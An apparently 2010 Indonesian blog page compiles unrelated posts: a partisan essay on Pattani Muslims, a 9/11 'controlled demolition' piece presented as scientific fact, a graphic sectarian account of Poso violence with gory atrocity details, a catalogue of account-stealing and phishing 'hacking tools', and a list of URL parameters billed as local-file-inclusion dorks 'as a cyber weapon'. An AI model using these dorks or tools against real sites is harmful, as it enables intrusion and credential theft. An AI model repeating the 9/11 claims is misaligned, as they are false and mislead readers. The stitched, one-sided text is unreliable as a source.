Sabtu, 31 Juli 2010

Derita Muslim Pattani Yang Terlupakan

Berbicara perjuangan Islam di Asia Tenggara, tentu tidak akan melepaskan Muslim Pattani, Thailand. Pattani bisa dikatakan bernasib seperti Palestina di Timur Tengah. Dan jika Palestina dijajah oleh Israel, maka Muslim Pattani ditindas oleh Thailand.

Sejarah Muslim Pattani

Padahal, dulu sekali Muslim Pattani adalah sebuah kerajaan Islam. Pada tahun 1457, daerah Patani—sekarang menjadi Pattani—berpenduduk mayoritas Melayu Muslim. Kondisi Patani saat itu persis dengan beberapa wilayah sekitarnya seperti Perlis, Kelantan, dan lainnya yang terletak di Malaysia.

Tahun 1875, Thailand pertama kali datang ke Patani dan langsung menduduki daerah itu. Kedatangan Inggris ke Semenanjung Malaka menghasilkan perjanjian dengan Thailand, yaitu Patani dikuasai oleh Thailand dan Perlis dan wilayah lainnya dimiliki oleh Inggris. Kemudian hari Inggris menyebut daerah jajahannya dengan sebutan Malaysia.

Muslim Patani saat itu dipaksa untuk menjadi bagian dari Thailand atau ketika itu masih bernama kerajaan Siam. Namun, karena kependudukan itu, tak pelak terjadi pergolakan di daerah Pattani sampai sekarang. Sebuah reaksi yang wajar karena Muslim Pattani terus melawan para penjajah itu.

Peran ulama dalam perjuangan Muslim Pattani

Terjadi banyak sekali pergerakan dan perlawanan untuk membebaskan Pattani dari cengkeram Thailand. Maka tidak heran jika hal ini selalu memunculkan berbagai kelompok pergerakan yang umumnya dimotori oleh ulama Patani. Dalam sejarah perjuangannya, sertidaknya ada tiga golongan ulama.

Ulama yang pertama adalah mereka yang terjun langsung mengangkat senjata. Di siang hari, mereka berprofesi sebagai pendidik, pengacara, pebisnis atau profesi lainnya. Namun pada malam hari mereka menenteng senjata dan terjun langsung ke medan pertempuran. Ciri-ciri gerakan ini adalah, mereka menitikberatkan pada ajaran-ajaran (ayat-ayat) yang mengandung Jihad. Mereka juga menolak pembangunan atau rencana pembangunan dari pemerintah Thailand. Kelompok ulama ini menjunjung tinggi pejuang-pejuang revolusi dunia, salah satu contohnya adalah Presiden pertama RI, Ir. Soekarno.

Ulama yang kedua adalah mereka yang pro terhadap pemerintah Thailand. Hal ini dilandasi prinsip bahwa mereka tidak merasa ditindas oleh kerajaan Siam. Memang, Thailand menganut sistem bebas menganut agama apapun, ini terbukti dengan berbagai ritual peribadatan juga dibolehkan di sana. Kelompok ulama ini memilih bekerja sama dengan Thailand, bahkan tidak jarang menjadi kaki tangan kerajaan Siam ketika ada rencana pembangunan di Provinsi Pattani. Mereka berpendirian bahwa Islam menjunjung tinggi perdamaian, sehingga menghindari konflik dengan pemerintah. Mirip seperti di Indonesia.

Kemudian tipe ulama yang ketiga adalah mereka yang berada di antara dua kelompok ulama lainnya. Mereka akan bereaksi menentang pemerintah Thailand jika terjadi pembantaian terhadap muslim. Namun mereka akan diam jika merasa tidak terjadi apa-apa. Saat ini fakta bahwa tidak ada seorangpun yang secara terang-terangan mengaku menjadi pejuang, perjuangan dilakukan secara sembunyi-sembunyi (underground).

Penderitaan Muslim Pattani

Penderitaan yang dialami oleh warga Muslim di Thailand Selatan sebenarnya telah berlangsung selama bertahun-tahun. Warga minoritas Muslim tidak bisa hidup tenang karena berada di bawah bayang-bayang kecemasan dan drama kehidupan yang mencekam.

Selama ini sudah terjadi banyak pertumpahan darah di bumi Patani. Pembantaian Muslim Pattani hampir sama persis seperti yang terjadi di negara-negara Muslim terjajah lainnya. Misalnya saja, para Muslim Pattani dibunuh ketika sedang shalat di masjid. Selama ini tragedi berdarah di Pattani hampir jarang terdengar, ini karena pemerintah Thailand memang membatasi dan menguasai semua arus informasi tentang Pattani. Misalnya saja, orang banyak yang menganggap bahwa konflik Pattani hanya sebuah masalah internal Thailand.

Di Pattani, kerukunan antar-agama jarang terlihat. Dulu, muslim Patani sering memberikan makanan kepada para Biksu. Namun kini hal itu tidak terjadi. Itu karena perlakuan buruk yang sering diterima oleh Muslim Pattani.

Perlakuan pemerintah Thailand terhadap Muslim Pattani memang buruk. Mereka diharamkan untuk menyimpan buku-buku sejarah Pattani. Kesadaran historis mereka dilenyapkan oleh tangan besi pemerintah dan militer Thailand yang sangat khawatir kalau warga Muslim ini sadar bahwa mereka adalah orang-orang Melayu, dan bukan orang Thailand. Mereka dilarang keras berbicara dalam bahasa Melayu. Semua hal harus di-Thailandkan: bahasa sehari-hari, bahasa pengantar di sekolah-sekolah, dan nama-nama mereka. Tidak boleh memakai bahasa Melayu. Semuanya harus menggunakan bahasa Siam (Buddha), bahasa Kerajaan Thailand. Selain masalah bahasa dan sejarah, mereka juga dikondisikan dalam keadaan selalu mencekam. Di setiap sudut jalan, selalu ada tentara berseragam militer lengkap dengan senjata otomatisnya.

Solusi Muslim Pattani

Jadi apa kiranya solusi yang bisa dilakukan untuk Muslim Pattani? Sepertinya saat ini, satu-satunya jalan keluar untuk mengatasinya adalah dengan mengadakan jajak pendapat atau pemungutan suara, dengan adanya pihak ketiga sebagai penengah. Namun jelas pihak ketiga tidak berasal dari negara yang memang sudah mempunyai sentimen terhadap Islam sebelumnya seperti Barat, ataupun Amerika.

Dengan adanya pemungutan suara akan memunculkan keinginan murni dari muslim Patani mengenai nasib dan masa depan mereka agar tak lagi terjajah sepanjang hidupnya.


Fakta Ilmiah di balik Tragedi WTC

Misteri Tragedi WTC

Fakta Ilmiah di balik Tragedi WTC

Menara Kembar WTC Runtuh Karena Bom yang Sudah Dipasang

Afghanistan dan Irak dirudal atas nama perang melawan terorisme. Sedangkan kita tahu, Pemerintah Taliban sampai detik-detik terakhir tembakan salvo mesin perang Amerika tetap bersikukuh tidak tahu-menahu soal Tragedi WTC.Rezim Saddam Hussain pun tidak memiliki senjata pemusnah massal seperti dituduhkan Washington.

Bahkan, Kepala Tim Inspeksi Senjata Nuklir Mayjen Keith Dayton yang dikirim oleh Pentagon dengan 1.400 pakar nuklir juga tak menemukan secuil molukel atom di Irak. Jadi, gempuran ke Kabul dan Baghdad menyisakan misteri tersendiri. Hal ini sama misterinya dengan Peristiwa 11 September 2001 itu sendiri. Ada sejumlah pertanyaan yang sangat layak diajukan: benarkah Gedung WTC di New York hancur akibat hantaman pesawat?

Apakah mungkin gedung yang disangga baja itu meleleh hanya karena api? Mengapa jet-jet tempur AS tidak mengudara? Siapa sesungguhnya dalang di balik Tragedi 11 September? Apa kepentingan Washington dan Pentagon? Apa kaitannya dengan kepentingan energi di beberapa dekade mendatang. Bagaimana nasib dunia Islam? Mengapa Pakistan tidak memihak Taliban, tetapi AS?

Jika selama ini opini dunia seolah digiring oleh pemerintahan Bush untuk meyakini Tragedi WTC didalangi oleh Osama, maka ada sisi lain yang tentu pantas untuk disimak. Ini setidaknya pendapat banyak kalangan, mengapa misteri Tragedi 11 September perlu kembali diperbincangkan? Ada empat hal penting yang mendasarinya.

Pertama, Prof Dr Morgan Reymonds (guru besar pada Texas University, USA) menyatakan ”Belum ada bangunan…baja…ambruk hanya… oleh kobaran api”.

Kedua, Michael Meacher (mantan Menteri Lingkungan Inggris, 1997 – 2003) berpendapat ”…perang melawan terorisme… dijadikan…tabir kebohongan guna mencapai tujuan-tujuan strategis geopolitik AS”.

Ketiga,Prof Dr Steven E Jones (guru besar fisika pada Birgham Young University, USA) membeberkan hasil risetnya ”…bahan-bahan peledak telah diletakkan…di bangunan WTC”.

Profesor Steven E. Jones dari Brigham Young University, Utah, yang melakukan penelitian dari sudut teori fisika mengatakan bahwa kehancuran dahsyat seperti yang dialami Twin Tower serta gedung WTC 7 hanya mungkin terjadi karena bom-bom yang sudah dipasang pada bangunan-bangunan tersebut.

Teori fisika Jones tersebut tentunya sangat bertentangan dengan hasil penelitian FEMA, NIST dan 9-11 Commision bahwa penyebab utama keruntuhan gedung-gedung tersebut adalah api akibat terjangan pesawat dengan bahan bakar penuh.

Dalam kertas kerjanya berjudul “Why Indeed Did the WTC Buildings Collapse?” dan dipublikasikan harian Deseret Morning News yang terbit di Salt Lake City dalam situsnya awal November lalu, Ilmuwan dari Departerment of Physic and Astronomy, Brigham Young University itu menguraikan secara ilmiah penyebab sesungguhnya dari kehancuran tersebut.

Pihak Brigham Young University sendiri sebelumnya mengatakan bahwa isi dari kertas kerja tersebut sepenuhnya tanggung jawab penulis, bukan sebagai pandangan pihak universitas.

“Saya mengimbau dilakukan suatu investigasi secara serius atas hipotesa bahwa gedung WTC 7 dan Menara Kembar WTC runtuh bukan hanya oleh benturan (pesawat) dan kebakaran, tapi juga karena bahan peledak yang sudah ditempatkan sebelumnya,” kata Jones.

Detik-detik keruntuhan Menara Kembar WTC, dan juga gedung WTC 7 didekatnya, disaksikan jutaan pasang mata baik secara langsung maupun melalui siaran “live” televisi di seluruh dunia.

Empat tahun telah berlalu dan berbagai peristiwa penting pun terjadi terkait dengan tragedi “September hitam” tersebut, di antaranya berupa perubahan kebijakan politik luar negeri AS dan serangan terhadap Afghanistan.

Namun Osama Bin Laden yang diyakini sebagai dalang utama serangan 11 September dan aksi terorisme lainnya di dunia, hingga kini belum dapat ditangkap.

Jones sendiri dalam kertas kerjanya tidak menyorot soal politik dan aksi terorisme, tapi ia memfokuskan pada teori fisika atas keruntuhan gedung-gedung tersebut. Ia tidak mau berspekulasi mengenai bagaimana bom itu dipasang dan siapa yang melakukannya.

Bukan hanya api

Dalam paper yang juga dipublikasikan pada pertengahan November lalu oleh situs harian Deseret Morning News yang terbit di Salt Lake City, Jones satu persatu mencoba memberi keyakinan bahwa tidak mungkin hanya api yang memporakporandakan gedung berkonstruksi baja tersebut.

Menurut teori Prof Jones, simetrikal dan cepatnya keruntuhan gedung-gedung tersebut membuktikan bawa penjelasan resmi FEMA, NIST dan 9-11 Commission yang kini sudah menjadi pegangan publik pada umumnya adalah salah.

“Fakta sebenarnya, tampaknya ada bahan peledak yang sudah ditempatkan sebelumnya pada tiga gedung di Ground Zero itu,” ujar ilmuwan yang mengambil spesialisasi metal-catalysed fussion, archaeometeri dan solar enegy tersebut.

Sebelum dan sesudah peristiwa WTC belum pernah ada gedung berkerangka baja yang hancur total karena kebakaran. Namun bahan peledak dapat dengan efektif memotong tiang-tiang baja,” katanya.

Gedung WTC 7, yang tidak ditabrak pesawat, runtuh pada petang hari 11 September 2001 dalam 6,6 detik atau hanya 0,6 detik lebih lama dari perjalanan jatuhnya sebuah benda dari puncak gedung 47 lantai itu ke tanah.

“Dimana faktor kelambatan yang harus terjadi karena kekekalan gaya gerak, yang merupakan hukum dasar fisika?,” katanya.

Dengan demikian muncul hipotesa penghancuran lewat ledakan, termasuk pada bagian bawah dan tiang-tiang baja penyangga, sehingga jatuhnya mendekati kecepatan benda jatuh bebas.

Puing-puing bekas gedung itu , memperkuat dugaan kehancuran akibat ledakan karena sebagian besar materi gedung menjadi seperti bubuk. “Bagaimana kita bisa yakin pada kejanggalan ini selain kerena bahan peledak?,” katanya.

Lelehan logam yang ditemukan direruntuhan WTC bisa sebagai akibat suatu reaksi suhu tinggi dari bahan ledakan yang biasa digunakan seperti thermite. Gedung yang jatuh bukan oleh ledakan tidak cukup punya energi langsung untuk mengakibatkan lelehan metal dalam jumlah besar.

Argumentasi lainnya, untuk menguapkan struktur baja penyangga diperlukan api dengan temperatur mendekati 5.000 derajat Fahrenheit, sementara barang-barang kantor dan minyak disel yang terbakar tidak bisa mencapai suhu sepanas itu.

Api yang disebabkan oleh bahan bakar jet dari pesawat tersebut paling lama hanya beberapa menit, dan selanjutnya api dari materi kantor akan membakar kemana-mana dalam 20 menit. .

Pendapat Jones yang kontroversial ini juga menarik perhatian jaringan televisi MSNBC yang 16 November lalu mengundangnya untuk menjadi pembicara dalam suatu wawancara yang dipandu Tucker Carlson.

“Yang saya lakukan adalah menghadirkan bukti, ini suatu hipotesa yang harus diuji. Ada perbedaan besar dengan yang sudah disimpulkan, dan saya hanya ingin mengklarifikasi,” kata Jones dalam wawancara tersebut.

Wawancara dalam program “The Situation” MSNBC itu sendiri hanya berlangsung enam menit sehingga tidak banyak waktu untuk Jones menjelaskan lebih jauh mengenai teorinya.

Carlson mengaku bahwa ia banyak mendapat respon dari pemirsa mengenai acara tersebut, yang umumnya memuji atas keberaniannya menghadirkan Jones dalam program itu.

Ada juga pemirsa melalui e-mail yang memprotes karena sempitnya waktu yang disediakan untuk Jones menjelaskan soal konspirasi, katanya.

Meskipun memakai dasar-dasar ilmu alam, pandangan Jones memang merupakan hal yang sangat sensitif, karena bisa berpengaruh pada hal-hal lainnya di balik tragedi yang menewaskan ribuan jiwa tersebut.

Menurut Deseret Morning News, Jones juga akan mempublikasikan teorinya itu dalam bentuk buku berjudul “The Hidden History of 9/11″

Terakhir, Osama bin Laden (tersangka dalang Tragedi 11 September) menegaskan ”Saya telah katakan… saya tidak terlibat dalam… 11 September”.

Karenanya, menjadi penting upaya untuk menyingkap misteri Tragedi WTC meskipun telah lama berlalu. Dari keempat hal penting di atas, dapat disimpulkan perang melawan terorisme yang diprakarsai pemerintahan Bush perlu dikaji ulang, termasuk berupaya mengungkap pelaku peledakan Menara Kembar WTC yang sesungguhnya.

Kita bisa menjadikan komentar Andreas von Buelow dijadikan acuan.Di harian Tagesspiegel,Berlin,mantan Menristek Jerman ini semacam menyadarkan kita semua dengan ungkapannya: Carilah Kebenaran.Wallahu’alam bisshawab.

Source

1. Abdul Halim Mahally, Misteri Tragedi 11 September, http://www.unisosdem.org/article_detail.php?aid=8797&coid=1&caid=45&gid=2

2. WTC : Menara Kembar WTC Runtuh Karena Bom yang Sudah Dipasang, http://swaramuslim.net/more.php?id=5066_0_1_0_M

Poso - Rusuh Sampit

Hanya selang 2 hari setelah sweeping Brimob terhadap 16 muslim Poso yang termasuk dalam DPO (Daftar Pencarian Orang) yang menyebabkan tewasnya belasan penduduk sipil muslim Poso 22 Jan 2007 lalu, Ust. Ahmad kemudian diutus oleh Ust. Adnan Arsal, tokoh agama Islam Poso setempat, untuk ke Jakarta melaporkan fakta sebenarnya. Kamis, 25 Jan 2007, Ust. Ahmad didampingi beberapa tokoh Forum Umat Islam, termasuk Ust. Abu Bakar Ba'asyir dari Majelis Mujahidin Indonesia dan Habib Rizieq dari Front Pembela Islam, mendatangi Komnas HAM untuk menyampaikan fakta.

Rekaman video kekejaman 'Kristen Radikal' pada masa sebelum kesepakatan Malino dipersaksikan. Tampak belasan mayat anak kecil Muslim sedang dikumpulkan, diantaranya ada anak balita yang 1/3 tempurung kepala bagian atasnya lepas terbacok rata (kemudian disambungkan lagi), usus terburai dan anak kecil lainnya yang punggung atau bahunya terbelah lebar dan dalam bekas bacokan. Disisi lain tampak pula mayat-mayat orang dewasa termasuk para wanita dewasa. Mayat seorang ibu terlihat pergelangan tangannya putus rata dibacok dengan senjata yang sangat tajam yang menyebabkan bekas bacokannya sangat 'rata'.

Suatu rekaman video penutup akhirnya diputarkan yang menyebabkan teriakan ledakan marah para pemuda ormas Islam yang ikut hadir disertai teriakan histeris para wartawan yang ikut menyaksikan. Dalam rekaman ini tampak seorang pemuda muslim Poso sedang dikeroyok oleh sekelompok pemuda Kristen Radikal (istilah yang dikemukakan Habib Rizieq untuk membedakannya dengan umat Kristen umum). Sebuah golok telah menyabet kulit kepala pemuda tersebut hingga terkelupas selebar dan setebal kue serabi, sehingga terlihat daging berwarna putih dan kelupasan kulit kepala yang masih menggantung di kepalanya
terumbai-umbai ketika ia bergerak kesana kemari. Pemuda muslim ini terlihat masih bisa berdiri dan teriak-teriak minta tolong pada polisi bersenjata lengkap yang ada disekitarnya namun tak berdaya atau tak berani atau tak mau bertindak tegas. Beberapa pemuda Kristen Radikal terlihat masih terus memukulnya dengan kayu, sementara seorang pemuda lainnya menombak dada kiri pemuda malang tersebut dengan sebilah bambu runcing. Pemuda tersebut melepas tombak bambu itu dengan tangannya, lalu dengan kepala yang berlumuran darah, kulit kepala terkelupas, baju penuh darah, ia berjalan terhuyung menuju mobil polisi
yang ada 3 meter disampingnya. Sesaat terlihat kelupasan kulit kepala pemuda tersebut masih melambai tergantung diatas telinganya akibat gerakan tubuhnya. Seorang polisi yang ada dalam mobil tersebut mengusirnya ketika pemuda malang itu minta perlindungan, mungkin polisi itu jijik mempersilahkannya masuk ke mobil atau bisa juga ia takut melindungi pemuda itu sementara puluhan pemuda Kristen Radikal sedang memukulinya. Walau akhirnya pemuda malang tersebut bisa diselamatkan ke sebuah mobil patroli bak terbuka polisi, namun dari sekitar 20 ? 30 polisi yang ada di lokasi hanya 1-2 orang yang terlihat berusaha melerai, namun dengan cara seadanya.

Andi Baso, tokoh penandatangan Perjanjian Malino, yang ikut hadir menjelaskan bahwa itu masih belum apa-apa dibanding laporan yang ia terima dimana beberapa wanita dewasa di suatu desa di Poso diperkosa para Kristen Radikal dan beberapa diantaranya kemaluannya dimasukkan botol dengan paksa, ditendang kemaluannya,dan lalu sebagian mati ditempat. Kabar lain mengatakan Tibo pernah menyembelih seorang anak kecil dan meminum darahnya yang sedang mengalir dari lehernya langsung ke mulutnya.

Kecemburuan Sosial Sebagai Sumbu Perang Antar Umat Beragama Poso Menurut Andi Baso, pemicu awal perang Poso adalah kecemburuan sosial dari umat Kristen terhadap kemajuan umat Islam di Poso. Warga Kristen Poso sudah biasa menenggak minuman keras sehingga bangun telat, ke ladang telat, kerja telat, akhirnya ekonomi memburuk. Sedang warga muslim, ditambah pengaruh transmigran muslim dari Jawa, yang selalu bangun subuh untuk sholat subuh, lalu berangkat kerja sejak subuh, lantas lebih cepat maju. Akibat kemajuan ekonomi umat Islam, lantas lebih banyak mesjid dibangun, lalu uang lebih banyak tersedia untuk beli pengeras suara. Kemajuan rumah ibadah dan pengeras suara ini merupakan friksi awal yang memulai kecemburuan sosial. Secara logika dalam situasi seperti
ini provokasi dari luar lebih mudah meledakkan umat Kristen, sebaliknya tidak ada artinya provokasi bagi umat Islam yang tidak memiliki kecemburuan sosial.

Perjanjian Malino
Ditandatanganinya Perjanjian Malino adalah langkah akhir pihak Kristen Radikal untuk 'menyerah' akibat kemenangan umat Islam yang dipimpin oleh sebagian diantaranya adalah para 16 DPO muslim yang kini dicari-cari polisi. Kalau saja Kristen Radikal tidak kalah rasanya tidak akan mau mereka menandatangani perjanjian Malino ini. Jadi bagi mereka Perjanjian Malino menjadi semacam alat untuk melindungi mereka dari kehancuran yang lebih besar lagi dalam perang antar umat beragama ini. Hal ini terbukti bahwa Perjanjian Malino dijadikan alat untuk mengulur waktu bagi mereka untuk menyusun kekuatan menyerang balik. Dan serangan balik ini benar-benar akhirnya terjadi.
Pasca Hukuman Mati Tibo Cs : Berubah Menjadi Perang Dengan Aparat Brimob & TNI Kekejaman umat Kristen Radikal yang antara lain dipimpin oleh Tibo Cs telah menewaskan lebih dari 2000 umat Islam Poso. Perjanjian Malino ditandatangani, dan Tibo Cs dihukum mati. Umat Islam lega, tapi hanya sebentar. Karena pembantaian masih terjadi. Kesepakatan Malino dinodai, ketika senjata diserahkan ke kepolisian, umat Islam pun diserang lagi. Umat Islampun membalas.

Bom meledak, pelajar dibunuh, dan sebagainya. Kepolisian kemudian menetapkan 16 Daftar Pencarian Orang (DPO) muslim Poso yang dianggap sebagai penyebab. Penetapan 16 DPO inilah yang lantas merubah peta perang yang tadinya antara Kristen Radikal dengan umat Islam Poso menjadi antara Aparat Kepolisian & TNI dengan umat Islam Poso. Kristen Radikal pun undur sejenak, diperkirakan mereka menyimpan senjatanya sementara. Umat Islam Poso berjanji akan menyerahkan 16 DPO muslim asalkan 19 tokoh Kristen Radikal (termasuk Pendeta Damanik) yang disebutkan Tibo Cs sebagai dalang penggerak Kristen Radikal agar juga diperiksa. Ini prinsip keadilan. Syarat lain yang mereka kemukakan adalah agar DPO diperiksa sebagai tersangka bukan sebagai pesakitan. Sangat sulit bagi keluarga DPO dan warga muslim Poso untuk menyerahkan 16 DPO ini karena kenyataannya beberapa saudara kandung DPO yang diciduk saja disiksa lalu mati dibunuh (namun polisi mengatakannya mati karena sakit). Kalau saudaranya si DPO saja disiksa dan dibunuh, bagaimana pula dengan DPO nya sendiri. Ketika berita di media massa melaporkan bahwa belasan muslim penyerang Brimob berhasil ditembak polisi, sungguh ini berita bohong. Menurut kesaksian mereka, yang terbunuh ada yang wanita dan anak-anak. Bahkanketika dikatakan ada pelindung DPO yang terbunuh, sebenarnya mereka sudah diciduk beberapa hari sebelumnya, kemungkinan dibawa kesana untuk dibunuh sehingga solah-olah terbunuh saat baku tembak. Di stasiun TV kita lihat minggu lalu sekitar 8 orang penduduk sipil yang
melapor karena disiksa oleh Kepolisian karena tinggal di wilayah DPO. Ustadz Ahmad sendiri menyaksikan seorang temannya ditembaki polisi, dan ketika ia menanyakan alasannya, polisi (Brimob) mengatakan alasannya karena ia memukul-mukul tiang listrik. Apakah memukul tiang listrik suatu tindakan kejahatan ? Ketika dikejar terus dengan protes, pak Polisi hanya bilang ini keputusan politik, bukan keputusan kami. Lha.. Ini cermin tindakan berlebihan Brimob dan TNI terhadap umat Islam. Kenapa tindakan tegas tidak mereka dilakukan ketika pemuda muslim Poso dikeroyok, ditombak dan dibacok di depan polisi hingga kulit kepalanya terkelupas terumbai-umbai.

Kasus Poso Tidak Boleh Diputihkan
Habib Rizieq yang hadir di Komnas HAM mengatakan bahwa ia menolak keras sikap Wapres Jusuf Kalla yang hanya menindak tegas setiap pelaku kerusuhan pasca Perjajian Malino. Sikap ini berarti mengganggap bahwa kasus sebelum Malino diputihkan alias tidak perlu dipermasalahkan lagi. Tidak ada kasus kriminal yang boleh diputihkan, katanya. Perhatikan, bahwa masa sebelum Perjanjian Malino adalah masa pembantaian 2000 umat Islam oleh Kristen Radikal dibawah kendali 19 orang yang disebutkan Tibo Cs. Bagaimana kematian 2000 umat Islam Poso dianggap tidak pernah ada. Sedangkan masa Pasca Malino adalah masa terjadinya kasus pembalasan umat Islam (16 DPO) terhadap Kristen Radikal akibat pelanggaran mereka terhadap Perjanjian Malino (penyerangan perkampungan muslim).

Ketika Habib Rizieq diminta pemerintah menengahi kasus Poso dan 16 DPO ini, ia mendengar dari seorang ibu yang anaknya termasuk seorang DPO, bahwa 16 DPO siap menyerahkan diri asal dengan syarat 19 daftar nama Kristen Radikal yang disebut Tibo Cs juga diproses, syarat kedua, ada jaminan tidak disiksa. Ibu itu berkala lagi, baginya lebih senang menerima mayat anaknya mati terbunuh di medan perang dari pada menyaksikan anaknya kembali dari Kepolisian dalam keadaan cacat akibat disiksa. Ingat, DPO adalah tersangka, artinya belum tentu mereka bersalah, karena masih harus melalui proses pengadilan untuk membuktikannya.
Media Massa pun Ikut Tidak Adil Ketika belasan umat Islam Poso tewas dalam serangan Brimob ke perkampungan muslim untuk mencari para DPO, sementara itu hanya 1 orang anggota Brimob yang tewas, maka hampir semua media massa memberitakan kesedihan yang meliputi keluarga sang Brimob. Bahkan berita dukacita kematian anggota Brimob ini dibahas tuntas hingga ke kehidupan pribadinya selama ini dan kemudian diulang-ulang dalam setiap pemberitaan berikutnya dalam durasi yang panjang. Seandainya penderitaan, penyiksaan dan kekejaman terhadap umat Islam Poso dapat ditayangkan seluruhnya secara lengkap di TV, maka saya yakin tak ada seorangpun yang tertarik lagi menonton infotainment. Sementara itu ketika rekaman video yang disebut diatas ditayangkan di Komnas HAM, puluhan wartawan yang hadir berteriak histeris atau meringis jijik. Namun malamnya atau sorenya, ketika kunjungan ke Komnas HAM diberitakan, isinya hanya menyatakan bahwa 'sekelompok umat Islam yang menamakan dirinya Forum Umat Islam mendatangi Komnas Ham untuk meneliti kasus Poso' . Lantas wawancara yang disiarkanpun adalah wawancara terhadap salah satu wakil Komnas HAM, yang komentarnya akan mempelajari kasus ini karena mereka harus menerima informasi dari berbagai sumber. Ketika menampilkan orang yang sedang berdemopun hanya ditampilkan 4 ? 5 orang yang berseragam hitam-hitam, padahal peserta demo hari itu ada sekitar 150 orang dari FPI, HT, Bulan Bintang dan MMI. Sungguh mereka tidak menampilkan pernyataan keras Ust. Abu Bakar Ba'asyir yang mengatakan siap menyerukan jihad umum kepada seluruh umat Islam Indonesia bila penyelesaian Poso tidak adil. Atau pernyataan Habib Rizieq yang menuntut Komnas HAM mengajukan Yufus Kalla dan mantan kepala BIN, Hendropriyono, agar diperiksa karena melindungi kejahatan terhadap umat Islam.
Apalagi harian Kompas, yang memberitakan tokoh Muslim Poso, Ust. Adnan Arsal, menganjurkan 16 DPO menyerahkan diri. Tapi Kompas tidak ada atau tidak lengkap menuliskan syarat-syarat yang dikemukakan Ust. Adnan Arsal agar DPO mau menyerahkan diri.

Jusuf Kalla dan Logika Peran Tokoh Islam
Perhatikan logika ini dengan baik ! Masalah Poso dalam kacamata Islam harus diselesaikan dengan pendekatan Nahi Munkar (memberantas kejahatan), bukan sekedar Amar Ma'ruf (mengajak berbuat baik). Sabtu malam, 27 Januari 2007, Wapres Yusuf Kalla mengundang tokoh Islam untuk mendiskusikan penyelesaian Poso. Setelah selama ini pak Yusuf ini mendengar laporan Poso dari sisa-sisa informasi dari Ketua BIN yang lama, Hendropriyono (yang pernah tersangkut kasus pembantaian Muslim Lampung), maka rupanya pak Yufuf ini mencoba mencari solusi dialog dengan tokoh Islam. Ia sendiri yang mendefinisikan siapa tokoh Islam yang pantas menyelesaikan masalah semacam ini.

Secara logika, maka seharusnya yang diundang adalah ahli nahi munkar atau tokoh ormas Islam yang bergerak dibidang nahi munkar, antara lain FPI, MMI, FUI,dan lain-lain. Lucunya yang diundang adalah tokoh organisasi amar makruf dan organisasi politik Islam, seperti NU, Muhammadiyah, PKS, dll. Bahkan diundang juga tokoh 'intelektual' muslim semacam Komarudin Hidayat dan Syafi'i Maarif. Kalaupun Ja'far Umar Thalib (mantan Panglima Laskar Jihad) diundang dalam acara ini, tentulah dengan pertimbangan bahwa ia seorang mantan organisasi perjuangan nahi munkar yang kabarnya kini sudah 'menyesali' perbuatannya dan kini fokus ke amar makruf. Bagaimana suatu masalah Nahi Munkar diselesaikan oleh tokoh-tokoh agama yang spesialis Amr Makruf ? Katakanlah mereka cukup memahami masalah Nahi Munkar,tapi toh sebatas wacana atau paling tinggi dalam level di mimbar mesjid, bukan dalam pergerakan konkret di lapangan. Adalah wajar bila saksi mata atau intel Islam di Poso selama ini melaporkan kekejaman musuh Islam kepada tokoh-tokoh ormas Nahi Munkar semacam Habib Rizieq atau Ust Abubakar. Toh tidak mungkinlah mereka melaporkan hal semacam ini kepada partai PKS atau Gusdur atau Aa Gym atau Syafii Maarif atau Komarudin Hidayat. Ini sama juga diibaratkan seorang Presiden meminta pendapat Menteri Keuangan untuk mencari jalan keluar terhadap masalah keamanan atau masalah suatu peperangan. Pastilah sang Menteri Keuangan melihatnya dari kacamata budget dan laba rugi.
Detik ini
Detik ini, ketika Anda sedang membaca tulisan ini. Bisa saja Pak Yusuf Kalla lagi istirahat di tempat tidurnya yang empuk. Bisa saja Hendropriyono lagi karaoke dengan mantan Jenderal lainnya. Bisa saja sementara itu Anda sedang duduk di kafe sambil membaca tulisan ini ditemani secangki r kopi. Bisa saja saat ini seorang warga muslim Poso sedang diperiksa oleh Brimob bagian interogasi lantas dijepit keras kedua kakinya dengan dua potong kayu bergerigi yang dirantai agar mengaku atau mengarang cerita palsu. Bisa saja lubang gigi geraham seorang anggota keluarga DPO detik ini sedang ditusuk dengan benda runcing agar mengaku dimana menyembunyikan DPOnya. Atau kaki seorang muslim Poso baru saja dipatahkan dengan benda tumpul karena tidak mau bekerjasama dengan Brimob. Bagi yang prihatin atau berpihak pada umat Islam Poso, minimal anda bisa mendoakan mereka saat ini juga. Bagi yang tidak peduli atau yang membenci umat Islam Poso, timbul rasa penasaran saya untuk melihat bagaimana kelak Allah akan memperlakukan mereka di akhirat. (Syarifuddin Ambalawi)

http://www.geocities.com/rusuh_sampit/

Best - Hacking Tools


MSN Chat Monitor And Sniffer
MSN Password Retriever
MSN Hacker DUC
Head ~censored~ HotMail HAck
HotMail Hacker XE Edition
HotMail HAck
HotMAil Hacker
MSN Passwords
MSN Flooder
MSN Sniffer
MSN SPY Lite
HotMail Hacker Gold
HotMail HAcker Final
Give me Ur Pass
HotMail Brute Forcer
MSN PAssword Finder
MSN Password Grabber
Hack MSN Password
Hack HotMAil Evolution
MAgic Password Sender
MSN Locker
HotMail Killer
Hot Freeze
MessenPass
HotMAil Hack !
Ice Cold Reload
HotMail Killer 2
Nuke MSN
Yahoo Messenger Login Screen
MSN Messenger 7 Login Screen
MSN Messenger 5 Login Screen
MSN Messenger 4.6 Login Screen
HotMail Login Screen
Fake Web Pages 2
Fake Eeb Pages 1
AOL Killer
Fake Login HotMail
B-S Spy
Saria Fake Logins
Yahoo Password Retrieval
Yacam
Yahoo Cracker
Yahoo Booster
Yahoo Hack!
Yahoo Password Stealer
S-H Yahoo Password Sender
NetWork Password Recovery
Net BIOS Name Scanner
FTP Password Hacker
Cable Modem Sniffer
Port Listening XP
Blue Port Scanner
www 2 IP
XP Killer
Sniff Password
Port Scanner
Fast Resolver
Domain Scan
Whois Domain
NetRes View
PHPbb Defacer
Angry IP Scanner
FTP Brute Forcer
Page 5:
Hook Tool Box
Smart HAck UpLoader
Remote Anything
Post Sage
PHPbb Attacker

Skinner
MSN Bomber Man
Ultimate Nick PopUpz
MSN 7 Universal Patcher
Emoticons Creator
MSN Picture Crawler
Anti Status Bomb
MSN Detector
Multi MSN Loader
Kitle
Protect Lithium
Tray It!
MSN Block Checker
MSN Auto Responder
MSN Virus Cleaner
MSN Dondurucu

File Size : 32682 KB

LFI Dork - Sebagai Senjata Cyber

LFI

acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
